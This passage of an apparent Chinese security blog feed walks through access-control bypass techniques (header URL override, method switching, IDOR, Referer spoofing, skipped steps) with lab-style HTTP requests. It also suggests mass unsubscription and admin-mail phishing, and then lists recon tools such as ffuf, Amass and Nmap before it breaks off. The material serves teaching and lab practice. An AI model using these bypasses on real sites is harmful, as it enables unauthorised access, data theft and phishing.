参数控制的访问权限</h4><p>某些应用程序框架支持各种非标准 HTTP 标头，这些标头可用于覆盖原始请求中的 URL，例如 和。如果网站使用严格的前端控件来限制基于 URL 的访问，但应用程序允许通过请求标头覆盖 URL，则可以使用如下请求绕过访问控制： <code>X-Original-URL``X-Rewrite-URL</code></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1 </span><br><span class="line">X-Original-URL: /admin/deleteUser</span><br></pre></td></tr></table></figure></div><p>改变参数 X-Original-URL: /admin 即可访问特定的未授权页面：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062246166.png" alt="image-20240706224600118"></p><h4 id="6-受请求方法控制的访问权限"><a class="markdownIt-Anchor" href="#6-受请求方法控制的访问权限">#</a> 6. 受请求方法控制的访问权限</h4><p>另一种攻击与请求中使用的 HTTP 方法有关。前面部分中介绍的前端控件根据 URL 和 HTTP 方法限制访问。某些网站在执行操作时允许不同的 HTTP 请求方法。如果攻击者可以使用 <code>GET</code> （或其他）方法对受限制的 URL 执行操作，则可以绕过在平台层实现的访问控制</p><p>登录 administrator 提升 carlos 权限</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062258729.png" alt="image-20240706225842620"></p><p>再登陆普通用户 wiener 拿到 session</p><p>将 session 复制替代前面提权的 session</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062303413.png" alt="image-20240706230317362"></p><p>提示未授权，</p><p>尝试将请求方法改为 POSTX，提示缺少参数 username：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062304110.png" alt="image-20240706230403066"></p><p>说明更改请求方式可以控制访问的权限，继续将请求方法改为 GET：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062304760.png" alt="image-20240706230453715"></p><h4 id="7于-url-匹配差异导致的访问控制中断"><a class="markdownIt-Anchor" href="#7于-url-匹配差异导致的访问控制中断">#</a> 7. 于 URL 匹配差异导致的访问控制中断</h4><p>网站在将传入请求的路径与定义的终结点的匹配程度上可能会有所不同。例如，它们可能容忍不一致的大小写，因此对的请求可能仍映射到终结点。如果访问控制机制的容忍度较低，它可能会将它们视为两个不同的终结点，并因此无法强制实施正确的限制。 <code>/ADMIN/DELETEUSER</code>   <code>/admin/deleteUser</code></p><p>如果使用 Spring 框架的开发人员启用了该选项，也会出现类似的差异。这允许将具有任意文件扩展名的路径映射到没有文件扩展名的等效终结点。换言之，请求仍将与模式匹配。在 Spring 5.3 之前，默认情况下启用此选项。 <code>useSuffixPatternMatch</code>   <code>/admin/deleteUser.anything</code>   <code>/admin/deleteUser</code></p><p>在其他系统上，可能会遇到是否被视为不同终结点的差异。在这种情况下，可以通过在路径上追加尾部斜杠来绕过访问控制。 <code>/admin/deleteUser</code>   <code>/admin/deleteUser/</code></p><h3 id="水平权限提升"><a class="markdownIt-Anchor" href="#水平权限提升">#</a> 水平权限提升</h3><p>如果用户能够访问属于其他用户的资源，而不是他们自己的该类型的资源，则会发生水平权限提升。例如，如果员工可以访问其他员工以及他们自己的记录，则这是横向权限提升。</p><p>手法与垂直提权相似</p><h4 id="7-控制userid的水平越权"><a class="markdownIt-Anchor" href="#7-控制userid的水平越权">#</a> 7. 控制 userID 的水平越权</h4><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062341883.png" alt="image-20240706234139840"></p><p>直接更改 URL 的 id 拿到 <code>api key</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407062350780.png" alt="image-20240706235025737"></p><h4 id="8-随机userid控制的水平越权"><a class="markdownIt-Anchor" href="#8-随机userid控制的水平越权">#</a> 8. 随机 userID 控制的水平越权</h4><p>在某些应用程序中，可利用的参数没有可预测的值。例如，应用程序可能使用 ** 全局唯一标识符 （GUID） ** 来标识用户，而不是递增数字。这可以防止攻击者猜测或预测其他用户的标识符。但是，属于其他用户的 GUID 可能会在引用用户的应用程序中的其他位置（例如用户消息或评论）中公开。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407070922375.png" alt="image-20240707092209127"></p><p>就如这个，id 是随机生成的 uuid，枚举爆破肯定是行不通的</p><p>找到 carlos 发表的文章尝试获取 userid</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407070931949.png" alt="image-20240707093145852"></p><p>复制到 URL：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407070933333.png" alt="image-20240707093312284"></p><h4 id="9存在于重定向之前的页面中userid"><a class="markdownIt-Anchor" href="#9存在于重定向之前的页面中userid">#</a> 9. 存在于重定向之前的页面中 userID</h4><p>在某些情况下，应用程序会检测到不允许用户访问资源的时间，并返回到登录页的重定向。但是，包含重定向的响应可能仍包含属于目标用户的一些敏感数据，因此攻击仍然成功。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407070948686.png" alt="image-20240707094840579"></p><p>像这样，直接改 URL 里的 id 会重定向为登陆界面，但是在重定向之前的相应包中，仍存在该用户的信息</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407070950980.png" alt="image-20240707095011932"></p><h3 id="水平到垂直权限提升"><a class="markdownIt-Anchor" href="#水平到垂直权限提升">#</a> 水平到垂直权限提升</h3><p>通常，通过<strong>损害特权更高的用户</strong>，可以将水平权限提升攻击转变为垂直权限提升。例如，水平升级可能允许攻击者重置或捕获属于其他用户的密码。如果攻击者以管理用户为目标并破坏其帐户，则他们可以获得管理访问权限，从而执行垂直权限提升。</p><h4 id="10-userid控制的垂直越权"><a class="markdownIt-Anchor" href="#10-userid控制的垂直越权">#</a> 10. userID 控制的垂直越权</h4><p>直接在 YRL 中改 id：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407071039349.png" alt="image-20240707103917289"></p><p>就拿到了管理员密码</p><h3 id="11不安全的直接对象引用-idor"><a class="markdownIt-Anchor" href="#11不安全的直接对象引用-idor">#</a> 11. 不安全的直接对象引用 （IDOR）</h3><p><strong>直接引用数据库对象的 IDOR 漏洞</strong></p><p>假设一个网站使用以下 URL 通过从后端数据库检索信息来访问客户帐户页面：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://insecure-website.com/customer_account?customer_number=132355</span><br></pre></td></tr></table></figure></div><p>在这里，客户编号直接用作在后端数据库上执行的查询中的记录索引。如果没有其他控制措施，攻击者只需修改 customer_number，绕过访问控制即可查看其他客户的记录。这是导致水平权限升级的 IDOR 漏洞的示例。``</p><p>攻击者可能能够通过在绕过访问控制的同时将用户更改为具有额外权限的用户来执行水平和垂直权限提升。例如，其他可能性包括利用密码泄漏或在攻击者登陆用户帐户页面后修改参数。</p><p><strong>直接引用静态文件的 IDOR 漏洞</strong></p><p>当敏感资源位于服务器端文件系统的静态文件中时，通常会出现 IDOR 漏洞。例如，网站可能会使用递增的文件名将聊天消息脚本保存到磁盘，并允许用户通过访问如下所示的 URL 来检索这些脚本：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://insecure-website.com/static/12144.txt</span><br></pre></td></tr></table></figure></div><p>在这种情况下，攻击者只需修改文件名即可检索其他用户创建的脚本，并可能获取用户凭据和其他敏感数据。</p><h4 id="常规idor"><a class="markdownIt-Anchor" href="#常规idor">#</a> 常规 IDOR</h4><p>通过查看聊天记录，可发现 web 通过 GET 请求下载了聊天记录：</p><p>服务端未对 GET 请求的参数进行权限的校验，造成了敏感聊天记录的泄露。</p><p>将 GET 的地址可更改到  <code>/download-transcript/1.txt</code> ：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407071048830.png" alt="image-20240707104842583"></p><h4 id="用户注册处的idor"><a class="markdownIt-Anchor" href="#用户注册处的idor">#</a> 用户注册处的 IDOR</h4><p>在网站注册功能中发起数据包拦截，目标网站调用了一个账户注册 API，Burp 捕获的账户注册请求数据包如下：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">POST /analytics/index.php/plus/registerportal?user_id=43657&amp;key=344246b382b1d70c25ea14ed6f2760c6 HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 239</span><br><span class="line">Host: api.***.com</span><br><span class="line">Connection: close</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">User-Agent: okhttp/3.4.1</span><br><span class="line">email=test@***.com&amp;password=as&amp;username=&amp;firstname=tvbb&amp;lastname=gvcz&amp;mobile=&amp;country=test&amp;city=hfhdggd&amp;birthday_full=&amp;gender=fknefjn</span><br></pre></td></tr></table></figure></div><p>可以看到，在上述数据包的 POST 操作中包含了 user_id 参数，我们把它修改为其它字符串随机值，然后服务端响应回来的消息中有了这样的提示：用户已经存在！更为重要的是，服务端响应回来的信息中包含了与该注册用户相关的姓名、邮箱、联系地址等等：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">HTTP/1.1 200 OK</span><br><span class="line">Date: Tue, 05 Mar 2019 12:53:30 GMT</span><br><span class="line">Content-Type: text/html</span><br><span class="line">Connection: close</span><br><span class="line">Set-Cookie: __cfduid=dc4d54bb59b5c4a2c8501e3ed1cd5952b1551790409; expires=Wed, 04-Mar-20 12:53:29 GMT; path=/; domain=.whocare.com; HttpOnly</span><br><span class="line">Vary: Accept-Encoding</span><br><span class="line">Server: cloudflare</span><br><span class="line">CF-RAY: 4b2c3badddb3ce21-LHR</span><br><span class="line">Content-Length: 311</span><br><span class="line">&#123;&quot;error&quot;:&quot;exist&quot;,&quot;user&quot;:[&#123;&quot;id&quot;:&quot;34666&quot;,&quot;username&quot;:&quot;admin&quot;,&quot;firstname&quot;:&quot;Pappu&quot;,&quot;lastname&quot;:&quot;Rahul&quot;,&quot;email&quot;:&quot;admin@***.com&quot;,&quot;mobile&quot;:null,&quot;gender&quot;:&quot;male&quot;,&quot;birthday&quot;:null,&quot;country&quot;:&quot;&quot;,&quot;city&quot;:null,&quot;address&quot;:null,&quot;address1&quot;:[Reducted],&quot;postcode&quot;:[Reducted],&quot;ip_address&quot;:[Reducted],&quot;app_id&quot;:[Reducted]&#125;]&#125;</span><br></pre></td></tr></table></figure></div><p>而且通过这样，甚至可以通过暴力枚举用户参数 user_id，大量获取目标网站用户信息，当然其中也会包含管理员信息。</p><h4 id="邮件订阅中的idor"><a class="markdownIt-Anchor" href="#邮件订阅中的idor">#</a> 邮件订阅中的 IDOR</h4><p>一些网站为用户提供了一个订阅选项，可以通过用户邮件方式获取一些网站的最新资讯。而在用户设置面板中，存在一个订阅取消按钮，当点击该按钮之后，它会向注册用户发送一个取消订阅的通知链接，URL 如下：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://***.com/deleteNewsletter/dGVzdGVybWFpbEBnbWFpbC5jb20=</span><br></pre></td></tr></table></figure></div><p>仔细看可知道，它结尾包含了一个 base64 编码的字符串，解密后</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dGVzdGVybWFpbEBnbWFpbC5jb20  =&gt;  testermail@gmail.com</span><br></pre></td></tr></table></figure></div><p>这里看似这种动作未对请求做身份校验，所以，在此我们需要其他注册用户的绑定邮箱来进行测试，看看是否能对其他注册用户执行订阅取消操作。</p><p>这里的一种攻击可能性为：我们要以收集大量目标网站注册用户的邮箱，然后分别把它们进行 base64 编码，形成字典，放到 Burp 的 Intruder 模块中，进行自动化攻击测试，这样一来，就形成了对批量用户的订阅取消动作。这里可以综合利用上述的注册处 IDOR 漏洞来形成更大的威胁。</p><h4 id="意见反馈中的idor"><a class="markdownIt-Anchor" href="#意见反馈中的idor">#</a> 意见反馈中的 IDOR</h4><p>如果用户向目标网站提交意见反馈（Feedback）的数据包如下：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Services/PostContactUsEmail HTTP/1.1</span><br><span class="line">Host: www.***.com</span><br><span class="line">Connection: close</span><br><span class="line">Content-Length: 327</span><br><span class="line">Accept: */*</span><br><span class="line">Origin: https://www.***.com</span><br><span class="line">X-Requested-With: XMLHttpRequest</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36</span><br><span class="line">Content-Type: application/x-www-form-urlencoded; charset=UTF-8</span><br><span class="line">Referer: https://www.***.com/feedback</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: en-US,en;q=0.9</span><br><span class="line">Cookie: ******</span><br><span class="line">ContactUs_Name_Txt=hiname&amp;ContactUs_Email_Txt=attacker@gmail.com&amp;ContactUs_MessageType_Txt=%D8%A7%D8%B3%D8%AA%D9%81%D8%B3%D8%A7%D8%B1&amp;ContactUs_Department_Txt=feedback@***.com%23%D8%A7%D9%84%D8%AF%D8%B9%D9%85+%D8%A7%D9%84%D9%81%D9%86%D9%8A&amp;ContactUs_MessageBody_Txtthis+is+the+comment&amp;ContactUs_Captcha_Txt=QBAQLU</span><br></pre></td></tr></table></figure></div><p>仔细看其中提交的参数，它包含了以下几个重要信息：</p><blockquote><p><code>ContactUs_Department_Txt</code> = 将会收到反馈意见的邮箱地址</p><p><code>ContactUs_Email_Txt</code> = 当前用户用来发送反馈意见的邮箱地址</p><p><code>ContactUs_MessageBody_Txt</code> = 用户发送的反馈意见信息</p></blockquote><p>上面有两个地方的邮箱地址我们可以进行修改，那就是：</p><blockquote><p><code>ContactUs_Department_Txt</code> = <code>admin@***.com</code></p><p><code>ContactUs_Email_Txt</code>  = 任何你想发送邮件的用户邮箱地址，或者恶意一点，把它设为网站所有用户邮箱地址。</p></blockquote><p>这样一来，所有网站用户都会收到一封来自管理员邮箱的邮件，这可以用来作为钓鱼攻击的一个切入点。</p><h3 id="12-step被跳过的访问控制漏洞"><a class="markdownIt-Anchor" href="#12-step被跳过的访问控制漏洞">#</a> 12. Step 被跳过的访问控制漏洞</h3><p>许多网站通过一系列步骤实现重要功能。这在以下情况下很常见：</p><ul><li>需要捕获各种输入或选项。</li><li>在执行操作之前，用户需要查看并确认详细信息。</li></ul><p>例如，更新用户详细信息的管理功能可能涉及以下步骤：</p><ol><li>加载包含特定用户详细信息的表单。</li><li>提交更改。</li><li>查看更改并确认。</li></ol><p>有时，网站会对其中一些步骤实施严格的访问控制，但会忽略其他步骤。想象一下，在一个网站上，访问控制正确地应用于第一步和第二步，而不是第三步。该网站假设用户只有在已经完成了正确控制的第一步时才会到达第 3 步。攻击者可以通过跳过前两个步骤并直接提交带有所需参数的第三步请求来获得对该函数的未经授权的访问。</p><p>先记录两个操作的数据包</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407071159067.png" alt="image-20240707115928992"></p><p>再登录 wiener 拿到 session，将 session 复制到第二个包，并修改 username</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407071208097.png" alt="image-20240707120834043"></p><h3 id="13-referer控制的访问权限"><a class="markdownIt-Anchor" href="#13-referer控制的访问权限">#</a> 13. Referer 控制的访问权限</h3><p>某些网站基于在 HTTP 请求中提交的标头进行访问控制。浏览器可以将标头 <code>Referer</code>  添加到请求中，以指示哪个页面发起了请求。</p><p>例如，应用程序强势地对位于 <code>/admin</code>  的主管理页面实施访问控制，但对于子页面 <code>/admin/deleteUser</code> ，例如 <code>Referer</code>  仅检查标题。如果 <code>Referer</code>  标头包含主 URL，则允许请求 <code>/admin</code> 。</p><p>在这种情况下，攻击者可以完全控制 <code>Referer</code>  标头。这意味着他们可以通过 <code>Referer</code>  提供所需的标题来伪造对敏感子页面的直接请求，并获得未经授权的访问。</p><p>依然保存管理员提升权限的两个包，登录 wiener 拿到 session，带入包修改权限</p><p>并更改 Referer 参数为：</p><p><code>https://ac001fcd1f55c21580c43667006f0016.web-security-academy.net/admin</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407071228945.png" alt="image-20240707122808877"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;访问控制&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#访问控制&quot;&gt;#&lt;/a&gt; 访问控制&lt;/h2&gt;
&lt;p&gt;应用程序首先会判断用户的身份（账号密码登录），随后确认后续请求是否由该用户发出（会话管理），然后判断是否允许用户执行 “所请求的操</summary>
      
    
    
    
    <category term="Web Base" scheme="http://example.com/categories/Web-Base/"/>
    
    
  </entry>
  
  <entry>
    <title>SRC Tools</title>
    <link href="http://example.com/2024/07/04/SRC-Tools/"/>
    <id>http://example.com/2024/07/04/SRC-Tools/</id>
    <published>2024-07-04T07:43:08.000Z</published>
    <updated>2024-08-28T06:50:08.076Z</updated>
    
    <content type="html"><![CDATA[<h2 id="src工具"><a class="markdownIt-Anchor" href="#src工具">#</a> SRC 工具</h2><p>只是为了个人查阅方便，工具推荐来自 301 苏神</p><h3 id="amass子域名"><a class="markdownIt-Anchor" href="#amass子域名">#</a> Amass（子域名）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407041606585.png" alt="image-20240704160647398"></p><p>Amass 是一款开源的<strong>子域名信息收集工具</strong>，设计用于帮助安全专业人员、渗透测试人员和网络管理员收集目标域名的所有可能子域名。Amass 的目标是提供广泛的子域名信息，从而帮助用户更全面地了解目标，发现潜在的安全风险或攻击面。</p><p>以下是 Amass 的一些主要特点和功能：</p><p>1.<strong> 字典和穷举攻击</strong>： Amass 支持使用预定义的字典文件进行字典攻击，也能够执行穷举攻击，尝试生成所有可能的子域名。</p><p>2.<strong> 搜索引擎枚举</strong>： Amass 能够通过使用搜索引擎的高级搜索功能，如 Google、Bing 等，来查找与目标域名相关的子域名信息。</p><p>3.<strong> 证书透明度日志（CT logs）</strong>： Amass 使用证书透明度日志（Certificate Transparency logs）来查找通过 TLS 证书签名的域名，从而发现潜在的子域名。</p><p>4.<strong>WHOIS 信息</strong>： Amass 可以获取目标域名的 WHOIS 信息，包括域名的注册者、注册日期等，这有助于了解域名的背后情况。</p><p>5.<strong> 集成其他工具</strong>： Amass 可以与其他常用的子域名收集工具和服务集成，如 Sublist3r、Censys、Virustota l 等。</p><p>6.<strong> 图形化界面和命令行接口</strong>： Amass 提供了图形化用户界面（GUI）和命令行接口，使用户可以根据自己的喜好选择使用。</p><p>7.<strong> 活跃的开发社区</strong>： Amass 是一个开源项目，有一个活跃的开发社区，持续提供更新和改进，同时接受社区贡献。</p><p>使用 Amass 时，用户通常可以指定目标域名，选择相应的收集模块和技术，并获取详细的子域名报告。</p><p><a class="link" href="https://github.com/owasp-amass/amass/wiki/User-Guide">用户指南・owasp-amass/amass 维基 (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="dalfox扫描-xss"><a class="markdownIt-Anchor" href="#dalfox扫描-xss">#</a> Dalfox（扫描 XSS）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407041702248.png" alt="image-20240704170243165"></p><p>1、<strong>参数分析</strong>（寻找反射参数，寻找存在问题的字符，识别注入点）；</p><p>2、<strong>静态分析</strong>（检测存在问题的 Header，例如 CSP、X-Frame-optiopns 等）；</p><p>3、<strong>优化 Payload 查询</strong>，通过 Payload 生成检查注入点，消除不必要的 Payload；</p><p>4、<strong>XSS 扫描</strong>，支持反射型和存储型；</p><p>5、<strong>所有的测试 Payload 已通过编码器测试</strong>，<strong>支持双重 URL 编码和 HTML 十六进制编码</strong>；</p><p>6、<strong>友好的管道支持</strong> v（单一 URL、文件和 IO）；</p><p><a class="link" href="https://dalfox.hahwul.com/docs/home/">Welcome | DalFox (hahwul.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="ffuffuzzer"><a class="markdownIt-Anchor" href="#ffuffuzzer">#</a> FFUF（Fuzzer）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407041728760.png" alt="image-20240704172841697"></p><p>ffuf 提供了<strong>仅获取具有特定特征的状态码、行数、响应大小、字数以及匹配正则表达式的模式进行响应输出</strong>。</p><ol><li>基于 Go 语言开发，速度极快，并且跨平台</li><li>可以颜色高亮输出</li><li>强大的过滤系统和代理系统</li><li>能适应多种情景下的模糊测试</li></ol><p>子域名爆破：</p><p><code>ffuf -w words.txt -u https://sso-FUZZrtesla.com -c -t 50 -mc all -fs</code></p><p>目录爆破：</p><p><a class="link" href="https://blog.csdn.net/weixin_44288604/article/details/128444485">FFUF 爆破神器 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="subfinder子域名"><a class="markdownIt-Anchor" href="#subfinder子域名">#</a> Subfinder（子域名）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407042023395.png" alt="image-20240704202342291"></p><p><code>Subfinder </code> 是一款专注于子域名收集的开源工具，旨在帮助安全专业人员、渗透测试人员和研究人员快速有效地发现目标域的子域名。该工具通过与多个子域名源（例如搜索引擎、DNS 数据）集成，提供了一个全面的子域名搜集解决方案。</p><p>以下是 Subfinder 的一些主要特点和功能：</p><p>1.<strong> 多源搜集</strong>： Subfinder 集成了多个子域名源，包括但不限于谷歌（Google）、Shodan、Censys、Virustotal 等，以提高搜集的全面性。</p><p>2.<strong> 快速且并发</strong>： Subfinder 被设计为快速且支持并发搜集，以加速子域名发现过程。</p><p>3.<strong>DNS 数据源</strong>： 工具可以利用 DNS 数据，通过查询 DNS 服务器来发现子域名。这包括常规域传输、DNS 枚举和暴力破解。</p><p>4.<strong>API 支持</strong>： Subfinder 提供了对多个子域名 API 的支持，以允许用户在工具中集成自定义的数据源。</p><p>5.<strong> 漏洞扫描集成</strong>： Subfinder 还可以与漏洞扫描工具（如 Amass、Assetnote、Virustotal）进行集成，以提供更全面的信息。</p><p>6.<strong> 结果导出</strong>： Subfinder 支持将搜集到的子域名结果导出为常见的文件格式，如文本文件、JSON 和 CSV。</p><p>7.<strong> 自定义字典</strong>： 用户可以使用自定义字典进行子域名的暴力破解尝试，以满足特定的搜集需求。</p><p>Subfinder 是一个灵活而强大的工具，适用于用于渗透测试、漏洞评估、红队操作以及一般的信息搜集任务</p><h3 id="waybackurls抓取存档"><a class="markdownIt-Anchor" href="#waybackurls抓取存档">#</a> WaybackURLs（抓取存档）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407042210212.png" alt="image-20240704221046155"></p><p>通过调用 Wayback Machine 的 cdx-server API，它可以在短时间内抓取大量存档记录。主要功能包括：</p><p>1.<strong> 并发处理</strong>：使用 Goroutines 实现并行请求，提高抓取速度。<br>2.<strong> 自定义参数</strong>：允许用户设置日期范围、限制结果数量等，以满足不同需求。<br>3.<strong> 结果过滤与格式化</strong>：可以按照指定的格式输出结果，甚至直接导出为 CSV 或 JSON 文件。</p><p><strong>应用场景</strong></p><p>1.<strong> 历史数据分析</strong>：研究网站的演变，如设计风格变化、内容更新等。<br>2.<strong> 网络考古</strong>：找回已删除的信息，恢复丢失的数据。<br>3.<strong>SEO 优化</strong>：分析竞争对手的 SEO 策略，查看关键词的历史排名。</p><p><strong>特点</strong></p><p>1.<strong> 轻量级</strong>：由于采用 Go 语言编写，程序小巧且运行速度快。<br>2.<strong> 易用性</strong>：通过简单的命令行接口操作，无需复杂的配置。<br>3.<strong> 可扩展</strong>：代码结构清晰，方便添加新功能或进行二次开发。<br>4.<strong> 跨平台</strong>：Go 语言的跨平台特性使得它能在多种操作系统上运行。</p><h3 id="nmap端口扫描"><a class="markdownIt-Anchor" href="#nmap端口扫描">#</a> Nmap（端口扫描）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407052052563.png" alt="image-20240705205253529"></p><p>Nmap 的一些主要功能：</p><ol><li><p><strong>主机发现</strong>： Nmap 可以通过发送网络探测包（ping 扫描）来确定一个网络中活跃的主机。这有助于确定哪些 IP 地址上有活动的设备。</p></li><li><p><strong>端口扫描</strong>： Nmap 可以扫描目标主机的开放端口，帮助确定哪些服务正在运行。它支持多种扫描技术，包括 TCP 扫描、UDP 扫描、SYN/ACK 扫描等。</p></li><li><p><strong>服务识别</strong>： Nmap 可以识别目标主机上运行的具体服务和应用程序的版本号。这对于了解目标系统上可能存在的漏洞和弱点很有帮助。</p></li><li><p><strong>操作系统检测</strong>： Nmap 能够尝试检测目标主机的操作系统类型和版本。这有助于识别网络中的不同操作系统，并为后续的渗透测试提供信息。</p></li><li><p><strong>脚本扫描</strong>： Nmap 支持脚本扫描，允许用户执行自定义脚本以进行更深入的信息收集和安全审计。</p></li><li><p><strong>版本检测</strong>： Nmap 可以检测目标系统上运行的服务的版本信息。这对于确定目标系统上可能存在的已知漏洞和安全问题非常有用。</p></li><li><p><strong>输出格式</strong>： Nmap 可以生成多种输出格式，包括文本、XML、JSON 等，以便进一步的分析和报告。</p></li></ol><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407052051011.png" alt="image-20240705205104913"></p><p><a class="link" href="https://nmap.org/man/zh/">Nmap 参考指南 (Man Page) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="gospider爬虫"><a class="markdownIt-Anchor" href="#gospider爬虫">#</a> GoSpider（爬虫）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407042239169.png" alt="image-20240704223920063"></p><p><strong>GoSpider 特色</strong></p><ul><li>快速的网络爬行抓取</li><li>暴力解析 sitemap.xml</li><li>解析 robots.txt</li><li>从 JavaScript 文件生成并验证链接</li><li>链接查找器</li><li>从响应源中查找 AWS-S3</li><li>从响应源中查找子域</li><li>从 Wayback Machine、Common Crawl、Virus Total、Alien Vault 获取 URL</li><li>格式输出可使用正则表达式</li><li>支持 burp 输入</li><li>并行抓取多个站点 (多线程)</li><li>随机移动 / 网络用户代理</li></ul><h3 id="httpx域名验活"><a class="markdownIt-Anchor" href="#httpx域名验活">#</a> Httpx（域名验活）</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407051342264.png" alt="image-20240705134219102"></p><ol><li>HTTPX 是一个功能强大的 HTTP 客户端工具，用于执行各种网络任务，例如发现 Web 应用程序漏洞、探测域名和端口等。它使用了 retryablehttp 库来运行多个探测器，旨在通过增加线程数来提高结果的可靠性。</li><li>HTTPX 支持多种 HTTP 请求方法，可以使用自定义标头和数据，并且可以设置请求超时时间、重试次数和批处理大小等选项。此外，HTTPX 还支持代理、SSL 和身份验证，并且可以查找和打印链接、横幅和技术指纹等信息。</li><li>HTTPX 还内置了 Wappalyzer 技术检测集成，可以自动识别网站所使用的 CMS 和 Web 服务器，并且可以保存输出为 JSON 格式，方便进一步处理。HTTPX 还有许多其他有用的参数和选项，可以帮助您更好地执行各种网络任务。</li></ol><p>可以并发请求多个子域名。，在扫描出所有子域名时可以检查那些有效</p><h3 id="shodan"><a class="markdownIt-Anchor" href="#shodan">#</a> shodan</h3><p><a class="link" href="https://www.shodan.io/">Shodan Search Engine <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 是一个专门用于搜索和分析互联网连接设备的搜索引擎。与传统的搜索引擎不同，Shodan 不索引网页内容，而是扫描和索引公开暴露在互联网上的设备及其相关信息。它被称为 “黑客的搜索引擎”，因为它能发现各种在线设备，包括但不限于：</p><ul><li><strong>Web 